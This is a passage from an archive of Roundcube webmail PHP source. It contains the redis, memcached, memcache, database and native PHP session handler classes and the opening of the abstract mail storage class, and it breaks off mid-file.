     * Convert paths like ../xxx to an absolute path using a base url
     *
     * @param string $path     Relative path
     * @param string $base_url Base URL
     *
     * @return string Absolute URL
     */
    public static function absolute_url($path, $base_url)
    {
        // check if path is an absolute URL
        if (preg_match('/^[fhtps]+:\/\//', $path)) {
            return $path;
        }

        // check if path is a content-id scheme
        if (strpos($path, 'cid:') === 0) {
            return $path;
        }

        $host_url = $base_url;
        $abs_path = $path;

        // cut base_url to the last directory
        if (strrpos($base_url, '/') > 7) {
            $host_url = substr($base_url, 0, strpos($base_url, '/', 7));
            $base_url = substr($base_url, 0, strrpos($base_url, '/'));
        }

        // $path is absolute
        if ($path && $path[0] == '/') {
            $abs_path = $host_url . $path;
        }
        else {
            // strip './' because its the same as ''
            $path = preg_replace('/^\.\//', '', $path);

            if (preg_match_all('/\.\.\//', $path, $matches, PREG_SET_ORDER)) {
                $cnt = count($matches);
                while ($cnt--) {
                    if ($pos = strrpos($base_url, '/')) {
                        $base_url = substr($base_url, 0, $pos);
                    }
                    $path = substr($path, 3);
                }
            }

            $abs_path = $base_url.'/'.$path;
        }

        return $abs_path;
    }
}
PK
h�\Z922'program/lib/Roundcube/session/redis.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide redis supported session management                          |
 +-----------------------------------------------------------------------+
 | Author: Cor Bosman <cor@roundcu.be>                                   |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Class to provide redis session storage
 *
 * @package    Framework
 * @subpackage Core
 */
class rcube_session_redis extends rcube_session
{
    /** @var Redis The redis engine */
    private $redis;

    /** @var bool Debug state */
    private $debug;


    /**
     * Object constructor
     *
     * @param rcube_config $config Configuration
     */
    public function __construct($config)
    {
        parent::__construct($config);

        $this->redis = rcube::get_instance()->get_redis();
        $this->debug = $config->get('redis_debug');

        if (!$this->redis) {
            rcube::raise_error([
                    'code' => 604, 'type' => 'redis',
                    'line' => __LINE__, 'file' => __FILE__,
                    'message' => "Failed to connect to redis. Please check configuration"
                ],
                true, true);
        }

        // register sessions handler
        $this->register_session_handler();
    }

    /**
     * Opens the session
     *
     * @param string $save_path    Session save path
     * @param string $session_name Session name
     *
     * @return bool True on success, False on failure
     */
    public function open($save_path, $session_name)
    {
        return true;
    }

    /**
     * Close the session
     *
     * @return bool True on success, False on failure
     */
    public function close()
    {
        return true;
    }

    /**
     * Destroy the session
     *
     * @param string $key Session identifier
     *
     * @return bool True on success, False on failure
     */
    public function destroy($key)
    {
        if ($key) {
            try {
                $fname  = method_exists($this->redis, 'del') ? 'del' : 'delete';
                $result = $this->redis->$fname($key);
            }
            catch (Exception $e) {
                rcube::raise_error($e, true, true);
            }

            if ($this->debug) {
                $this->debug('delete', $key, null, $result ?? false);
            }
        }

        return true;
    }

    /**
     * Read data from redis store
     *
     * @param string $key Session identifier
     *
     * @return string Serialized data string
     */
    public function read($key)
    {
        $value = null;

        try {
            $value = $this->redis->get($key);
        }
        catch (Exception $e) {
            rcube::raise_error($e, true, true);
        }

        if ($this->debug) {
            $this->debug('get', $key, $value);
        }

        if ($value) {
            $arr = unserialize($value);
            $this->changed = $arr['changed'];
            $this->ip      = $arr['ip'];
            $this->vars    = $arr['vars'];
            $this->key     = $key;
        }

        return $this->vars ?: '';
    }

    /**
     * Write data to redis store
     *
     * @param string $key     Session identifier
     * @param string $newvars New session data string
     * @param string $oldvars Old session data string
     *
     * @return bool True on success, False on failure
     */
    public function update($key, $newvars, $oldvars)
    {
        $ts = microtime(true);

        if ($newvars !== $oldvars || $ts - $this->changed > $this->lifetime / 3) {
            $data   = serialize(['changed' => time(), 'ip' => $this->ip, 'vars' => $newvars]);
            $result = false;

            try {
                $result = $this->redis->setex($key, $this->lifetime + 60, $data);
            }
            catch (Exception $e) {
                rcube::raise_error($e, true, true);
            }

            if ($this->debug) {
                $this->debug('set', $key, $data, $result);
            }

            return $result;
        }

        return true;
    }

    /**
     * Write data to redis store
     *
     * @param string $key  Session identifier
     * @param array  $vars Session data
     *
     * @return bool True on success, False on failure
     */
    public function write($key, $vars)
    {
        if ($this->ignore_write) {
            return true;
        }

        $result = false;
        $data   = null;

        try {
            $data   = serialize(['changed' => time(), 'ip' => $this->ip, 'vars' => $vars]);
            $result = $this->redis->setex($key, $this->lifetime + 60, $data);
        }
        catch (Exception $e) {
            rcube::raise_error($e, true, true);
        }

        if ($this->debug) {
            $this->debug('set', $key, $data, $result);
        }

        return $result;
    }

    /**
     * Write memcache debug info to the log
     *
     * @param string $type   Operation type
     * @param string $key    Session identifier
     * @param string $data   Data to log
     * @param bool   $result Operation result
     */
    protected function debug($type, $key, $data = null, $result = null)
    {
        $line = strtoupper($type) . ' ' . $key;

        if ($data !== null) {
            $line .= ' ' . $data;
        }

        rcube::debug('redis', $line, $result);
    }
}
PK
h�\��UU+program/lib/Roundcube/session/memcached.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide memcached supported session management                      |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Cor Bosman <cor@roundcu.bet>                                  |
 +-----------------------------------------------------------------------+
*/

/**
 * Class to provide memcached session storage
 *
 * @package    Framework
 * @subpackage Core
 */
class rcube_session_memcached extends rcube_session
{
    /** @var Memcached The memcache driver */
    private $memcache;

    /** @var bool Debug state */
    private $debug;


    /**
     * Object constructor
     *
     * @param rcube_config $config Configuration
     */
    public function __construct($config)
    {
        parent::__construct($config);

        $this->memcache = rcube::get_instance()->get_memcached();
        $this->debug    = $config->get('memcache_debug');

        if (!$this->memcache) {
            rcube::raise_error([
                    'code' => 604, 'type' => 'memcache',
                    'line' => __LINE__, 'file' => __FILE__,
                    'message' => "Failed to connect to memcached. Please check configuration"
                ],
                true, true);
        }

        // register sessions handler
        $this->register_session_handler();
    }

    /**
     * Opens the session
     *
     * @param string $save_path    Session save path
     * @param string $session_name Session name
     *
     * @return bool True on success, False on failure
     */
    public function open($save_path, $session_name)
    {
        return true;
    }

    /**
     * Close the session
     *
     * @return bool True on success, False on failure
     */
    public function close()
    {
        return true;
    }

    /**
     * Destroy the session
     *
     * @param string $key Session identifier
     *
     * @return bool True on success, False on failure
     */
    public function destroy($key)
    {
        if ($key) {
            // #1488592: use 2nd argument
            $result = $this->memcache->delete($key, 0);

            if ($this->debug) {
                $this->debug('delete', $key, null, $result);
            }
        }

        return true;
    }

    /**
     * Read session data from memcache
     *
     * @param string $key Session identifier
     *
     * @return string Serialized data string
     */
    public function read($key)
    {
        if ($arr = $this->memcache->get($key)) {
            $this->changed = $arr['changed'];
            $this->ip      = $arr['ip'];
            $this->vars    = $arr['vars'];
            $this->key     = $key;
        }

        if ($this->debug) {
            $this->debug('get', $key, $arr ? serialize($arr) : '');
        }

        return $this->vars ?: '';
    }

    /**
     * Write data to memcache storage
     *
     * @param string $key  Session identifier
     * @param string $vars Session data string
     *
     * @return bool True on success, False on failure
     */
    public function write($key, $vars)
    {
        if ($this->ignore_write) {
            return true;
        }

        $data   = ['changed' => time(), 'ip' => $this->ip, 'vars' => $vars];
        $result = $this->memcache->set($key, $data, $this->lifetime + 60);

        if ($this->debug) {
            $this->debug('set', $key, serialize($data), $result);
        }

        return $result;
    }

    /**
     * Update memcache session data
     *
     * @param string $key     Session identifier
     * @param string $newvars New session data string
     * @param string $oldvars Old session data string
     *
     * @return bool True on success, False on failure
     */
    public function update($key, $newvars, $oldvars)
    {
        $ts = microtime(true);

        if ($newvars !== $oldvars || $ts - $this->changed > $this->lifetime / 3) {
            $data   = ['changed' => time(), 'ip' => $this->ip, 'vars' => $newvars];
            $result = $this->memcache->set($key, $data, $this->lifetime + 60);

            if ($this->debug) {
                $this->debug('set', $key, serialize($data), $result);
            }

            return $result;
        }

        return true;
    }

    /**
     * Write memcache debug info to the log
     *
     * @param string $type   Operation type
     * @param string $key    Session identifier
     * @param string $data   Data to log
     * @param bool   $result Operation result
     */
    protected function debug($type, $key, $data = null, $result = null)
    {
        $line = strtoupper($type) . ' ' . $key;

        if ($data !== null) {
            $line .= ' ' . $data;
        }

        rcube::debug('memcache', $line, $result);
    }
}
PK
h�\���""$program/lib/Roundcube/session/db.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide database supported session management                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Cor Bosman <cor@roundcu.be>                                   |
 +-----------------------------------------------------------------------+
*/

/**
 * Class to provide database session storage
 *
 * @package    Framework
 * @subpackage Core
 */
class rcube_session_db extends rcube_session
{
    /** @var rcube_db Database handler */
    private $db;

    /** @var string Session table name (quoted) */
    private $table_name;


    /**
     * Object constructor
     *
     * @param rcube_config $config Configuration
     */
    public function __construct($config)
    {
        parent::__construct($config);

        // get db instance
        $this->db = rcube::get_instance()->get_dbh();

        // session table name
        $this->table_name = $this->db->table_name('session', true);

        // register sessions handler
        $this->register_session_handler();

        // register db gc handler
        $this->register_gc_handler([$this, 'gc_db']);
    }

    /**
     * Opens the session
     *
     * @param string $save_path    Session save path
     * @param string $session_name Session name
     *
     * @return bool True on success, False on failure
     */
    public function open($save_path, $session_name)
    {
        return true;
    }

    /**
     * Close the session
     *
     * @return bool True on success, False on failure
     */
    public function close()
    {
        return true;
    }

    /**
     * Destroy the session
     *
     * @param string $key Session identifier
     *
     * @return bool True on success, False on failure
     */
    public function destroy($key)
    {
        if ($key) {
            $this->db->query("DELETE FROM {$this->table_name} WHERE `sess_id` = ?", $key);
        }

        return true;
    }

    /**
     * Read session data from database
     *
     * @param string $key Session identifier
     *
     * @return string Session vars (serialized string)
     */
    public function read($key)
    {
        if ($this->lifetime) {
            $expire_time  = $this->db->now(-$this->lifetime);
            $expire_check = "CASE WHEN `changed` < $expire_time THEN 1 ELSE 0 END AS expired";
        }

        $sql_result = $this->db->query(
            "SELECT `vars`, `ip`, `changed`, " . $this->db->now() . " AS ts"
            . (isset($expire_check) ? ", $expire_check" : '')
            . " FROM {$this->table_name} WHERE `sess_id` = ?", $key
        );

        if ($sql_result && ($sql_arr = $this->db->fetch_assoc($sql_result))) {
            // Remove expired sessions (we use gc, but it may not be precise enough or disabled)
            if (!empty($sql_arr['expired'])) {
                $this->destroy($key);
                return '';
            }

            $time_diff = time() - strtotime($sql_arr['ts']);

            $this->changed   = strtotime($sql_arr['changed']) + $time_diff; // local (PHP) time
            $this->ip        = $sql_arr['ip'];
            $this->vars      = base64_decode($sql_arr['vars']);
            $this->key       = $key;

            $this->db->reset();

            return !empty($this->vars) ? (string) $this->vars : '';
        }

        return '';
    }

    /**
     * Insert new data into db session store
     *
     * @param string $key  Session identifier
     * @param string $vars Serialized data string
     *
     * @return bool True on success, False on failure
     */
    public function write($key, $vars)
    {
        if ($this->ignore_write) {
            return true;
        }

        $now = $this->db->now();

        $this->db->query("INSERT INTO {$this->table_name}"
            . " (`sess_id`, `vars`, `ip`, `changed`)"
            . " VALUES (?, ?, ?, $now)",
            $key, base64_encode($vars), (string)$this->ip
        );

        return true;
    }

    /**
     * Update session data
     *
     * @param string $key     Session identifier
     * @param string $newvars New session data string
     * @param string $oldvars Old session data string
     *
     * @return bool True on success, False on failure
     */
    public function update($key, $newvars, $oldvars)
    {
        $now = $this->db->now();
        $ts  = microtime(true);

        // if new and old data are not the same, update data
        // else update expire timestamp only when certain conditions are met
        if ($newvars !== $oldvars) {
            $this->db->query("UPDATE {$this->table_name} "
                . "SET `changed` = $now, `vars` = ? WHERE `sess_id` = ?",
                base64_encode($newvars), $key);
        }
        else if ($ts - $this->changed > $this->lifetime / 2) {
            $this->db->query("UPDATE {$this->table_name} SET `changed` = $now"
                . " WHERE `sess_id` = ?", $key);
        }

        return true;
    }

    /**
     * Clean up db sessions.
     */
    public function gc_db()
    {
        // just clean all old sessions when this GC is called
        $this->db->query("DELETE FROM " . $this->db->table_name('session')
            . " WHERE `changed` < " . $this->db->now(-$this->gc_enabled));

        $this->log("Session GC (DB): remove records < "
            . date('Y-m-d H:i:s', time() - $this->gc_enabled)
            . '; rows = ' . intval($this->db->affected_rows()));
    }
}
PK
h�\��]��*program/lib/Roundcube/session/memcache.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide memcache supported session management                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Cor Bosman <cor@roundcu.bet>                                  |
 +-----------------------------------------------------------------------+
*/

/**
 * Class to provide memcache session storage
 *
 * @package    Framework
 * @subpackage Core
 */
class rcube_session_memcache extends rcube_session
{
    /** @var Memcache The memcache driver */
    private $memcache;

    /** @var bool Debug state */
    private $debug;


    /**
     * Object constructor
     *
     * @param rcube_config $config Configuration
     */
    public function __construct($config)
    {
        parent::__construct($config);

        $this->memcache = rcube::get_instance()->get_memcache();
        $this->debug    = $config->get('memcache_debug');

        if (!$this->memcache) {
            rcube::raise_error([
                    'code' => 604, 'type' => 'memcache',
                    'line' => __LINE__, 'file' => __FILE__,
                    'message' => "Failed to connect to memcached. Please check configuration"
                ],
                true, true);
        }

        // register sessions handler
        $this->register_session_handler();
    }

    /**
     * Opens the session
     *
     * @param string $save_path    Session save path
     * @param string $session_name Session name
     *
     * @return bool True on success, False on failure
     */
    public function open($save_path, $session_name)
    {
        return true;
    }

    /**
     * Close the session
     *
     * @return bool True on success, False on failure
     */
    public function close()
    {
        return true;
    }

    /**
     * Destroy the session
     *
     * @param string $key Session identifier
     *
     * @return bool True on success, False on failure
     */
    public function destroy($key)
    {
        if ($key) {
            // #1488592: use 2nd argument
            $result = $this->memcache->delete($key, 0);

            if ($this->debug) {
                $this->debug('delete', $key, null, $result);
            }
        }

        return true;
    }

    /**
     * Read session data from memcache
     *
     * @param string $key Session identifier
     *
     * @return string Serialized data string
     */
    public function read($key)
    {
        if ($value = $this->memcache->get($key)) {
            $arr = unserialize($value);
            $this->changed = $arr['changed'];
            $this->ip      = $arr['ip'];
            $this->vars    = $arr['vars'];
            $this->key     = $key;
        }

        if ($this->debug) {
            $this->debug('get', $key, $value);
        }

        return $this->vars ?: '';
    }

    /**
     * Write data to memcache storage
     *
     * @param string $key  Session identifier
     * @param string $vars Session data string
     *
     * @return bool True on success, False on failure
     */
    public function write($key, $vars)
    {
        if ($this->ignore_write) {
            return true;
        }

        $data   = serialize(['changed' => time(), 'ip' => $this->ip, 'vars' => $vars]);
        $result = $this->memcache->set($key, $data, MEMCACHE_COMPRESSED, $this->lifetime + 60);

        if ($this->debug) {
            $this->debug('set', $key, $data, $result);
        }

        return $result;
    }

    /**
     * Update memcache session data
     *
     * @param string $key     Session identifier
     * @param string $newvars New session data string
     * @param string $oldvars Old session data string
     *
     * @return bool True on success, False on failure
     */
    public function update($key, $newvars, $oldvars)
    {
        $ts = microtime(true);

        if ($newvars !== $oldvars || $ts - $this->changed > $this->lifetime / 3) {
            $data   = serialize(['changed' => time(), 'ip' => $this->ip, 'vars' => $newvars]);
            $result = $this->memcache->set($key, $data, MEMCACHE_COMPRESSED, $this->lifetime + 60);

            if ($this->debug) {
                $this->debug('set', $key, $data, $result);
            }

            return $result;
        }

        return true;
    }

    /**
     * Write memcache debug info to the log
     *
     * @param string $type   Operation type
     * @param string $key    Session identifier
     * @param string $data   Data to log
     * @param bool   $result Operation result
     */
    protected function debug($type, $key, $data = null, $result = null)
    {
        $line = strtoupper($type) . ' ' . $key;

        if ($data !== null) {
            $line .= ' ' . $data;
        }

        rcube::debug('memcache', $line, $result);
    }
}
PK
h�\�a5v�	�	%program/lib/Roundcube/session/php.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide database supported session management                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Cor Bosman <cor@roundcu.be>                                   |
 +-----------------------------------------------------------------------+
*/

/**
 * Class to provide native php session storage
 *
 * @package    Framework
 * @subpackage Core
 */
class rcube_session_php extends rcube_session
{
    /**
     * Native php sessions don't need a save handler.
     * We do need to define abstract function implementations but they are not used.
     */

    public function open($save_path, $session_name) {}
    public function close() {}
    public function destroy($key) {}
    public function read($key) {}
    public function write($key, $vars) {}
    public function update($key, $newvars, $oldvars) {}

    /**
     * Object constructor
     *
     * @param rcube_config $config Configuration
     */
    public function __construct($config)
    {
        parent::__construct($config);
    }

    /**
     * Wrapper for session_write_close()
     */
    public function write_close()
    {
        $_SESSION['__IP'] = $this->ip;
        $_SESSION['__MTIME'] = time();

        parent::write_close();
    }

    /**
     * Wrapper for session_start()
     */
    public function start()
    {
        parent::start();

        $this->key     = session_id();
        $this->ip      = $_SESSION['__IP'] ?? null;
        $this->changed = $_SESSION['__MTIME'] ?? null;
    }
}
PK
h�\A�&9fxfx'program/lib/Roundcube/rcube_storage.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Mail Storage Engine                                                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Abstract class for accessing mail messages storage server
 *
 * @package    Framework
 * @subpackage Storage
 */
abstract class rcube_storage
{
    /**
     * Instance of connection object e.g. rcube_imap_generic
     *
     * @var mixed
     */
    public $conn;

    /**
     * List of supported special folder types
     *
     * @var array
     */
    public static $folder_types = ['drafts', 'sent', 'junk', 'trash'];

    protected $folder          = 'INBOX';
    protected $default_charset = 'ISO-8859-1';
    protected $options         = ['auth_type' => 'check', 'language' => 'en_US'];
    protected $page_size       = 10;
    protected $list_page       = 1;
    protected $threading       = false;
    protected $search_set;

    /**
     * Internal (in-memory) cache
     *
     * @var array
     */
    protected $icache = [];

    /**
     * All (additional) headers used (in any way) by Roundcube
     * Not listed here: DATE, FROM, TO, CC, REPLY-TO, SUBJECT, CONTENT-TYPE, LIST-POST
     * (used for messages listing) are hardcoded in rcube_imap_generic::fetchHeaders()
     *
     * @var array
     */
    protected $all_headers = [
        'CONTENT-TRANSFER-ENCODING',
        'BCC',
        'IN-REPLY-TO',
        'MAIL-FOLLOWUP-TO',
        'MAIL-REPLY-TO',
        'MESSAGE-ID',
        'REFERENCES',
        'RESENT-BCC',
        'RETURN-PATH',
        'SENDER',
        'X-DRAFT-INFO',
    ];

    const UNKNOWN       = 0;
    const NOPERM        = 1;
    const READONLY      = 2;
    const TRYCREATE     = 3;
    const INUSE         = 4;
    const OVERQUOTA     = 5;
    const ALREADYEXISTS = 6;
    const NONEXISTENT   = 7;
    const CONTACTADMIN  = 8;

    const DUAL_USE_FOLDERS = 'X-DUAL-USE-FOLDERS';


    /**
     * Connect to the server
     *
     * @param string $host    Host to connect
     * @param string $user    Username for IMAP account
     * @param string $pass    Password for IMAP account
     * @param int    $port    Port to connect to
     * @param string $use_ssl SSL schema (either ssl or tls) or null if plain connection
     *
     * @return bool True on success, False on failure
     */
    abstract function connect($host, $user, $pass, $port = 143, $use_ssl = null);

    /**
     * Close connection. Usually done on script shutdown
     */
    abstract function close();

    /**
     * Checks connection state.
     *
     * @return bool True on success, False on failure
     */
    abstract function is_connected();

    /**
     * Check connection state, connect if not connected.
     *
     * @return bool Connection state.
     */
    abstract function check_connection();

    /**
     * Returns code of last error
     *
     * @return int Error code
     */
    abstract function get_error_code();

    /**
     * Returns message of last error
     *
     * @return string Error message
     */
    abstract function get_error_str();

    /**
     * Returns code of last command response
     *
     * @return int Response code (class constant)
     */
    abstract function get_response_code();

    /**
     * Set connection and class options
     *
     * @param array $opt Options array
     */
    public function set_options($opt)
    {
        $this->options = array_merge($this->options, (array) $opt);
    }

    /**
     * Get connection/class option
     *
     * @param string $name Option name
     *
     * @return mixed Option value
     */
    public function get_option($name)
    {
        return $this->options[$name];
    }

    /**
     * Activate/deactivate debug mode.
     *
     * @param bool $dbg True if conversation with the server should be logged
     */
    abstract function set_debug($dbg = true);

    /**
     * Set default message charset.
     *
     * This will be used for message decoding if a charset specification is not available
     *
     * @param string $cs Charset string
     */
    public function set_charset($cs)
    {
        $this->default_charset = $cs;
    }

    /**
     * Set internal folder reference.
     * All operations will be performed on this folder.
     *
     * @param string $folder Folder name
     */
    public function set_folder($folder)
    {
        if ($this->folder === $folder) {
            return;
        }

        $this->folder = $folder;
    }

    /**
     * Returns the currently used folder name
     *
     * @return string Name of the folder
     */
    public function get_folder()
    {
        return $this->folder;
    }

    /**
     * Set internal list page number.
     *
     * @param int $page Page number to list
     */
    public function set_page($page)
    {
        if ($page = intval($page)) {
            $this->list_page = $page;
        }
    }

    /**
     * Gets internal list page number.
     *
     * @return int Page number
     */
    public function get_page()
    {
        return $this->list_page;
    }

    /**
     * Set internal page size
     *
     * @param int $size Number of messages to display on one page
     */
    public function set_pagesize($size)
    {
        $this->page_size = (int) $size;
    }

    /**
     * Get internal page size
     *
     * @return int Number of messages to display on one page
     */
    public function get_pagesize()
    {
        return $this->page_size;
    }

    /**
     * Save a search result for future message listing methods.
     *
     * @param mixed $set Search set in driver specific format
     */
    abstract function set_search_set($set);

    /**
     * Return the saved search set.
     *
     * @return array Search set in driver specific format, NULL if search wasn't initialized
     */
    abstract function get_search_set();

    /**
     * Returns the storage server's (IMAP) capability
     *
     * @param string $cap Capability name
     *
     * @return mixed Capability value or True if supported, False if not
     */
    abstract function get_capability($cap);

    /**
     * Sets threading flag to the best supported THREAD algorithm.
     * Enable/Disable threaded mode.
     *
     * @param bool $enable True to enable threading
     *
     * @return mixed Threading algorithm or False if THREAD is not supported
     */
    public function set_threading($enable = false)
    {
        $this->threading = false;

        if ($enable && ($caps = $this->get_capability('THREAD'))) {
            $methods = ['REFS', 'REFERENCES', 'ORDEREDSUBJECT'];
            $methods = array_intersect($methods, $caps);

            $this->threading = array_first($methods);
        }

        return $this->threading;
    }

    /**
     * Get current threading flag.
     *
     * @return mixed Threading algorithm or False if THREAD is not supported or disabled
     */
    public function get_threading()
    {
        return $this->threading;
    }

    /**
     * Checks the PERMANENTFLAGS capability of the current folder
     * and returns true if the given flag is supported by the server.
     *
     * @param string $flag Permanentflag name
     *
     * @return bool True if this flag is supported
     */
    abstract function check_permflag($flag);

    /**
     * Returns the delimiter that is used by the server
     * for folder hierarchy separation.
     *
     * @return string Delimiter string
     */
    abstract function get_hierarchy_delimiter();

    /**
     * Get namespace
     *
     * @param string $name Namespace array index: personal, other, shared, prefix
     *
     * @return array Namespace data
     */
    abstract function get_namespace($name = null);

    /**
     * Get messages count for a specific folder.
     *
     * @param string $folder  Folder name
     * @param string $mode    Mode for count [ALL|THREADS|UNSEEN|RECENT|EXISTS]
     * @param bool   $force   Force reading from server and update cache
     * @param bool   $status  Enables storing folder status info (max UID/count),
     *                        required for folder_status()
     *
     * @return int Number of messages
     */
    abstract function count($folder = null, $mode = 'ALL', $force = false, $status = true);

    /**
     * Public method for listing message flags
     *
     * @param string $folder  Folder name
     * @param array  $uids    Message UIDs
     * @param int    $mod_seq Optional MODSEQ value
     *
     * @return array Indexed array with message flags
     */
    abstract function list_flags($folder, $uids, $mod_seq = null);

    /**
     * Public method for listing headers.
     *
     * @param   string   $folder     Folder name
     * @param   int      $page       Current page to list
     * @param   string   $sort_field Header field to sort by
     * @param   string   $sort_order Sort order [ASC|DESC]
     * @param   int      $slice      Number of slice items to extract from result array
     *
     * @return  array    Indexed array with message header objects
     */
    abstract function list_messages($folder = null, $page = null, $sort_field = null, $sort_order = null, $slice = 0);

    /**
     * Return sorted list of message UIDs
     *
     * @param string $folder     Folder to get index from
     * @param string $sort_field Sort column
     * @param string $sort_order Sort order [ASC, DESC]
     *
     * @return rcube_result_index|rcube_result_thread List of messages (UIDs)
     */
    abstract function index($folder = null, $sort_field = null, $sort_order = null);

    /**
     * Invoke search request to the server.
     *
     * @param  string  $folder     Folder name to search in
     * @param  string  $str        Search criteria
     * @param  string  $charset    Search charset
     * @param  string  $sort_field Header field to sort by
     *
     * @todo: Search criteria should be provided in non-IMAP format, e.g. array
     */
    abstract function search($folder = null, $str = 'ALL', $charset = null, $sort_field = null);

    /**
     * Direct (real and simple) search request (without result sorting and caching).
     *
     * @param  string  $folder  Folder name to search in
     * @param  string  $str     Search string
     *
     * @return rcube_result_index  Search result (UIDs)
     */
    abstract function search_once($folder = null, $str = 'ALL');

    /**
     * Refresh saved search set
     *
     * @return array Current search set
     */
    abstract function refresh_search();


    /* --------------------------------
     *        messages management
     * --------------------------------*/

    /**
     * Fetch message headers and body structure from the server and build
     * an object structure.
     *
     * @param int     $uid     Message UID to fetch
     * @param string  $folder  Folder to read from
     *
     * @return object rcube_message_header Message data
     */
    abstract function get_message($uid, $folder = null);

    /**
     * Return message headers object of a specific message
     *
     * @param int    $uid    Message sequence ID or UID
     * @param string $folder Folder to read from
     * @param bool   $force  True to skip cache
     *
     * @return rcube_message_header Message headers
     */
    abstract function get_message_headers($uid, $folder = null, $force = false);

    /**
     * Fetch message body of a specific message from the server
     *
     * @param  int                $uid    Message UID
     * @param  string             $part   Part number
     * @param  rcube_message_part $o_part Part object created by get_structure()
     * @param  mixed              $print  True to print part, resource to write part contents in
     * @param  resource           $fp     File pointer to save the message part
     * @param  bool               $skip_charset_conv Disables charset conversion
     *
     * @return string Message/part body if not printed
     */
    abstract function get_message_part($uid, $part = 1, $o_part = null, $print = null, $fp = null, $skip_charset_conv = false);

    /**
     * Fetch message body of a specific message from the server
     *
     * @param int $uid Message UID
     *
     * @return string $part Message/part body
     * @see    rcube_imap::get_message_part()
     */
    public function get_body($uid, $part = 1)
    {
        $headers = $this->get_message_headers($uid);
        return rcube_charset::convert($this->get_message_part($uid, $part, null),
            $headers->charset ?: $this->default_charset);
    }

    /**
     * Returns the whole message source as string (or saves to a file)
     *
     * @param int      $uid  Message UID
     * @param resource $fp   File pointer to save the message
     * @param string   $part Optional message part ID
     *
     * @return string Message source string
     */
    abstract function get_raw_body($uid, $fp = null, $part = null);

    /**
     * Returns the message headers as string
     *
     * @param int    $uid  Message UID
     * @param string $part Optional message part ID
     *
     * @return string Message headers string
     */
    abstract function get_raw_headers($uid, $part = null);

    /**
     * Sends the whole message source to stdout
     *
     * @param int  $uid       Message UID
     * @param bool $formatted Enables line-ending formatting
     */
    abstract function print_raw_body($uid, $formatted = true);

    /**
     * Set message flag to one or several messages
     *
     * @param mixed  $uids       Message UIDs as array or comma-separated string, or '*'
     * @param string $flag       Flag to set: SEEN, UNDELETED, DELETED, RECENT, ANSWERED, DRAFT, MDNSENT
     * @param string $folder     Folder name
     * @param bool   $skip_cache True to skip message cache clean up
     *
     * @return bool Operation status
     */
    abstract function set_flag($uids, $flag, $folder = null, $skip_cache = false);

    /**
     * Remove message flag for one or several messages
     *
     * @param mixed  $uids    Message UIDs as array or comma-separated string, or '*'
     * @param string $flag    Flag to unset: SEEN, DELETED, RECENT, ANSWERED, DRAFT, MDNSENT
     * @param string $folder  Folder name
     *
     * @return bool Operation status
     * @see set_flag
     */
    public function unset_flag($uids, $flag, $folder = null)
    {
        return $this->set_flag($uids, 'UN'.$flag, $folder);
    }

    /**
     * Append a mail message (source) to a specific folder.
     *
     * @param string       $folder  Target folder
     * @param string|array $message The message source string or filename
     *                              or array (of strings and file pointers)
     * @param string       $headers Headers string if $message contains only the body
     * @param bool         $is_file True if $message is a filename
     * @param array        $flags   Message flags
     * @param mixed        $date    Message internal date
     *
     * @return int|bool Appended message UID or True on success, False on error
     */
    abstract function save_message($folder, &$message, $headers = '', $is_file = false, $flags = [], $date = null);

    /**
     * Move message(s) from one folder to another.
     *
